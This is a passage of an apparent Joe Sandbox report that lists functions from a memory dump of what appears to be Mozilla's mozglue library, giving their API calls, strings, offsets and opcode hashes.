GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C9CE330,?,6C97C059), ref: 6C9BAE3D

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: c41c7545e6ad78a29c8c240b861578057259ab3b6d5a151d29e0d6efaccf09a8
Instruction ID: 5fe8a1f7c2f34ded7ed99f90654e1aab18f07058040ac8ae15c4fa3918aafc08
Opcode Fuzzy Hash: c41c7545e6ad78a29c8c240b861578057259ab3b6d5a151d29e0d6efaccf09a8
Instruction Fuzzy Hash: 5F3178B1A003159FDB10DF798C44AABBBF8EF54614F15442DE84AE7700EB34E804C7A1

Function 6C9B5EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6C9CDCA0,?,?,?,6C98E8B5,00000000), ref: 6C9B5F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C98E8B5,00000000), ref: 6C9B5F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6C98E8B5,00000000), ref: 6C9B5F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6C98E8B5,00000000), ref: 6C9B5F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C98E8B5,00000000), ref: 6C9B5FD6

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: fcbc820f70b3d1a8ecb501618f2d77282b7f1c3dec8537d95c2cebb0234e5409
Instruction ID: 36213f6c55c68a64e303c5cca6067d25d09c6f77d203819cb7b0d3ea1bc6053c
Opcode Fuzzy Hash: fcbc820f70b3d1a8ecb501618f2d77282b7f1c3dec8537d95c2cebb0234e5409
Instruction Fuzzy Hash: C6311834304A009FD711CF29C898F2AB7FAFF89319B648558E5569BB95CB31EC51CB80

Function 6C95B4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C95B532
moz_xmalloc.MOZGLUE(?), ref: 6C95B55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C95B56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C95B57E
free.MOZGLUE(00000000), ref: 6C95B58F

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: ff028db9acb863e20a2d735a66a1351bfdc2a4d5dd39a3cbbe7ca98f870984e9
Instruction ID: c0755dc0d183aa198474801ff678510929a968518e5b9a5eb8147a49fd1ad7e1
Opcode Fuzzy Hash: ff028db9acb863e20a2d735a66a1351bfdc2a4d5dd39a3cbbe7ca98f870984e9
Instruction Fuzzy Hash: CD210771A042059BDB00CF68CC40BAEBBB9FF56304F684129E818DB345E735D962C7A1

Function 6C95B7A0 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C95B7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C95B808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C95B82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C95B840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C95B849

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID:
API String ID: 1977084945-0
Opcode ID: b29def7535a6821acf77f380aa1737859e9b3ee3411f9f72636b0ab7170f68c2
Instruction ID: de1d3826493bb016507ba8d912d73f47dc5a9a88fed1e611f49e3c45aea7d5b2
Opcode Fuzzy Hash: b29def7535a6821acf77f380aa1737859e9b3ee3411f9f72636b0ab7170f68c2
Instruction Fuzzy Hash: 2D215AB0E002099FDF04DFA9D8855BEBBB8EF59314F148169ED06B7740E731A994CBA1

Function 6C9B6E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C9B6E78

Part of subcall function 6C9B6A10: InitializeCriticalSection.KERNEL32(6C9DF618), ref: 6C9B6A68
Part of subcall function 6C9B6A10: GetCurrentProcess.KERNEL32 ref: 6C9B6A7D
Part of subcall function 6C9B6A10: GetCurrentProcess.KERNEL32 ref: 6C9B6AA1
Part of subcall function 6C9B6A10: EnterCriticalSection.KERNEL32(6C9DF618), ref: 6C9B6AAE
Part of subcall function 6C9B6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C9B6AE1
Part of subcall function 6C9B6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C9B6B15
Part of subcall function 6C9B6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C9B6B65
Part of subcall function 6C9B6A10: LeaveCriticalSection.KERNEL32(6C9DF618,?,?), ref: 6C9B6B83

MozFormatCodeAddress.MOZGLUE ref: 6C9B6EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C9B6EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C9B6EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6C9B6EFF

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: 99dc678e53562e8d79dc6ec59860ab1c62aebc59d92903a349eaaeecc0eefe5d
Instruction ID: 462b598efc7c78d826c711d62852a99d19e631cb13f0d92ce9c7d8a9f0b78ed3
Opcode Fuzzy Hash: 99dc678e53562e8d79dc6ec59860ab1c62aebc59d92903a349eaaeecc0eefe5d
Instruction Fuzzy Hash: CE21A471A042199FDF04DF69D88569F77F9EF88308F044439E909A7241DB70AA58CF92

Function 6C9B76C0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6C9B76F2
moz_xmalloc.MOZGLUE(00000001), ref: 6C9B7705

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C9B7717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6C9B778F,00000000,00000000,00000000,00000000), ref: 6C9B7731
free.MOZGLUE(00000000), ref: 6C9B7760

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 2538299546-0
Opcode ID: a010a5dff262a2ec6c4ba7e4218f7b97598254833af0beea5fbb7265af5c81c6
Instruction ID: 5c84674e65c9da30f06616976f04f23dacb155ec28ed4ae7cf1dd680d1664a06
Opcode Fuzzy Hash: a010a5dff262a2ec6c4ba7e4218f7b97598254833af0beea5fbb7265af5c81c6
Instruction Fuzzy Hash: E61190B19052156BE710AF6A8C44AABBEE8EF55754F144529F848A7200E770985087F2

Function 6C990D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C953DEF), ref: 6C990D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C953DEF), ref: 6C990D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C953DEF), ref: 6C990DAF

Strings

<jemalloc>, xrefs: 6C990D92, 6C990DB9
: (malloc) Error in VirtualFree(), xrefs: 6C990D97, 6C990DBE

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 5f53c06ca7513f696dc887395e69eb746b29cdef277021764393462c7597fde3
Instruction ID: 2b1f68d59da961b7faabf52478f1b7f1a97d975c75ec0d4da8d7c678271cad7b
Opcode Fuzzy Hash: 5f53c06ca7513f696dc887395e69eb746b29cdef277021764393462c7597fde3
Instruction Fuzzy Hash: F4F02E31384B9423E720226B0C0AF5A266EA7C7F25F399035F764FE9C0DA50F4404AA6

Function 6C9A7620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6C9A75C4,?), ref: 6C9A762B

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6C9A74D7,6C9B15FC,?,?,?), ref: 6C9A7644
GetCurrentThreadId.KERNEL32 ref: 6C9A765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C9A74D7,6C9B15FC,?,?,?), ref: 6C9A7663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C9A74D7,6C9B15FC,?,?,?), ref: 6C9A7677

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: 76ab2ef8ce3988ff52b44eae467c489ed848e8d3c4475d0dd79d491e7a832516
Instruction ID: 9bcb35e8034d11b8f8f303c57543403b77d41cd5fe5212095cc725854529d9e4
Opcode Fuzzy Hash: 76ab2ef8ce3988ff52b44eae467c489ed848e8d3c4475d0dd79d491e7a832516
Instruction Fuzzy Hash: 14F0C871E14786ABD7008F21C848675B778FFEA259F21431AF90553601E7B0B5D087D0

Function 6C9B1700 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C9B1800

Part of subcall function 6C98CBE8: GetCurrentProcess.KERNEL32(?,6C9531A7), ref: 6C98CBF1
Part of subcall function 6C98CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9531A7), ref: 6C98CBFA

Part of subcall function 6C954290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C993EBD,6C993EBD,00000000), ref: 6C9542A9

Strings

name, xrefs: 6C9B1939
{marker.name} - {marker.data.name}, xrefs: 6C9B18C7
Details, xrefs: 6C9B1925

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-1733325692
Opcode ID: 4231e0a11399b0c4c4868549376d3a8248ead0c0779888b87e3bcf2687763d52
Instruction ID: 1de2c175628950b3e8329f3e1e164063d893c19d0b58e369796bb8960a16bb0a
Opcode Fuzzy Hash: 4231e0a11399b0c4c4868549376d3a8248ead0c0779888b87e3bcf2687763d52
Instruction Fuzzy Hash: E171F370A00746AFDB04CF28D4547AABBB1FF96304F144669D8156BB41D770F6A8CBE2

Function 6C9BB0C0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 188COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,6C9BB0A6,6C9BB0A6,?,6C9BAF67,?,00000010,?,6C9BAF67,?,00000010,00000000,?,?,6C9BAB1F), ref: 6C9BB1F2
?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,6C9BB0A6,6C9BB0A6,?,6C9BAF67,?,00000010,?,6C9BAF67,?,00000010,00000000,?), ref: 6C9BB1FF
free.MOZGLUE(?,?,?,map/set<T> too long,?,?,6C9BB0A6,6C9BB0A6,?,6C9BAF67,?,00000010,?,6C9BAF67,?,00000010), ref: 6C9BB25F

Strings

map/set<T> too long, xrefs: 6C9BB1FA

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: free$Xlength_error@std@@
String ID: map/set<T> too long
API String ID: 1922495194-1285458680
Opcode ID: 4e0aefa0776b7e292eb929419ec296662936d41e262a54c020957fd4fa223757
Instruction ID: 4a4603a7d1e5e7d7421034512c898cbe4ec187cd7a755dd276200a9e6f48cd4c
Opcode Fuzzy Hash: 4e0aefa0776b7e292eb929419ec296662936d41e262a54c020957fd4fa223757
Instruction Fuzzy Hash: 16619B34A04645AFD701CF19C8C0AAABBF5FF5A318F18C199D8596BB92C331ED45CBA1

Function 6C97D468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C98CBE8: GetCurrentProcess.KERNEL32(?,6C9531A7), ref: 6C98CBF1
Part of subcall function 6C98CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9531A7), ref: 6C98CBFA

EnterCriticalSection.KERNEL32(6C9DE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C98D1C5), ref: 6C97D4F2
LeaveCriticalSection.KERNEL32(6C9DE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C98D1C5), ref: 6C97D50B

Part of subcall function 6C95CFE0: EnterCriticalSection.KERNEL32(6C9DE784), ref: 6C95CFF6
Part of subcall function 6C95CFE0: LeaveCriticalSection.KERNEL32(6C9DE784), ref: 6C95D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C98D1C5), ref: 6C97D52E
EnterCriticalSection.KERNEL32(6C9DE7DC), ref: 6C97D690
LeaveCriticalSection.KERNEL32(6C9DE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C98D1C5), ref: 6C97D751

Strings

MOZ_CRASH(), xrefs: 6C97D4BB

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 0b7aa2efba07af118b59c0234a96f7df558bdb328f82750e82ae65621693f3d9
Instruction ID: f9f543cec5f736f840e44c4afaa4b3c93be4990638b3fcf7df3b732be643161b
Opcode Fuzzy Hash: 0b7aa2efba07af118b59c0234a96f7df558bdb328f82750e82ae65621693f3d9
Instruction Fuzzy Hash: 3251E472A09B018FD364CF28C49461AB7F5EF89704F658A2ED59AD7F84D770E840CBA1

Function 6C9A4630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C9A4721

Strings

-%llu, xrefs: 6C9A4733
profiler-paused, xrefs: 6C9A46E4
., xrefs: 6C9A476A

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: 7d1a4bc01b6cbc658f199ac67f253fe15ef784f79cf080546d57d987c6a64946
Instruction ID: 67011499d8f742636df381e94102677f708fd7904b0e273f046bf3f9743fba7a
Opcode Fuzzy Hash: 7d1a4bc01b6cbc658f199ac67f253fe15ef784f79cf080546d57d987c6a64946
Instruction Fuzzy Hash: E8415972E087089BCB08DFB8D85115EBBF5EF95748F20863EE85567B91EB30D8458B42

Function 6C9C9830 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C9C985D
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C9C987D
MOZ_CrashPrintf.MOZGLUE(ElementAt(aIndex = %zu, aLength = %zu),?,?), ref: 6C9C98DE

Strings

ElementAt(aIndex = %zu, aLength = %zu), xrefs: 6C9C98D9

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Printf$Target@mozilla@@$?vprint@Crash
String ID: ElementAt(aIndex = %zu, aLength = %zu)
API String ID: 1778083764-3290996778
Opcode ID: 40dd1b8b40d3e8ede8825237144d63a6a122664f827e3f8db5bd0293336436b1
Instruction ID: 2cf4ae1a34839c51d96f1ec3af381cdd371011078c8e76c7a7e0d3eb52ce9f3d
Opcode Fuzzy Hash: 40dd1b8b40d3e8ede8825237144d63a6a122664f827e3f8db5bd0293336436b1
Instruction Fuzzy Hash: 0B310A71B002089FDB14AF59DC455EE77A9DF54718F50846DEA06ABB80DB31E904CBD2

Function 6C9A46E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C9A4721

Part of subcall function 6C954410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6C993EBD,00000017,?,00000000,?,6C993EBD,?,?,6C9542D2), ref: 6C954444

Strings

-%llu, xrefs: 6C9A4733
profiler-paused, xrefs: 6C9A46E4
., xrefs: 6C9A476A

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: 8e513062b929a89b54a85ed2350b4cdaffecbb1bd69503736628948df1c82039
Instruction ID: 1bec9da7a1a0f8f8537b0094bf35a97c28dd057798e076457a247e29aed8c295
Opcode Fuzzy Hash: 8e513062b929a89b54a85ed2350b4cdaffecbb1bd69503736628948df1c82039
Instruction Fuzzy Hash: C2313971F043084BCB0CCFACD8812ADBBE6DB99714F55853EE8059BB41EB70D9458B51

Function 6C9AB410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C954290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C993EBD,6C993EBD,00000000), ref: 6C9542A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C9AB127), ref: 6C9AB463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9AB4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C9AB4E4

Strings

pid:, xrefs: 6C9AB4DE

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: d02b22acb0bc9cdb789ad10cc11b9f0c9a6c4aa96de36fec541bba084984be0b
Instruction ID: 7d39cca18616ff65ba02868df991634079e195447791591a041a36154c5c891f
Opcode Fuzzy Hash: d02b22acb0bc9cdb789ad10cc11b9f0c9a6c4aa96de36fec541bba084984be0b
Instruction Fuzzy Hash: A3312131A0120CDFDB00DFE9D880AEEB7B9FF05318F540529D90167A81D732E88ACBA1

Function 6C98AF8B Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

_initialize_onexit_table.API-MS-WIN-CRT-RUNTIME-L1-1-0($t]$t]$t]$t]$t]$t],00000000), ref: 6C98AFBD
_initialize_onexit_table.API-MS-WIN-CRT-RUNTIME-L1-1-0($t]$t]$t],00000000), ref: 6C98AFCC

Strings

$t]$t]$t]$t]$t]$t], xrefs: 6C98AFB8, 6C98AFE6

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: _initialize_onexit_table
String ID: $t]$t]$t]$t]$t]$t]
API String ID: 2450287516-2441847249
Opcode ID: c0320c5394bf3e5e6f98964b90da0b139ff3b3fc2422544ff28f3b0fcce4453a
Instruction ID: abd7799c2411259a6ea04c80ba7fd9972aaa23eb90b5f46bc45d3accf361ceb5
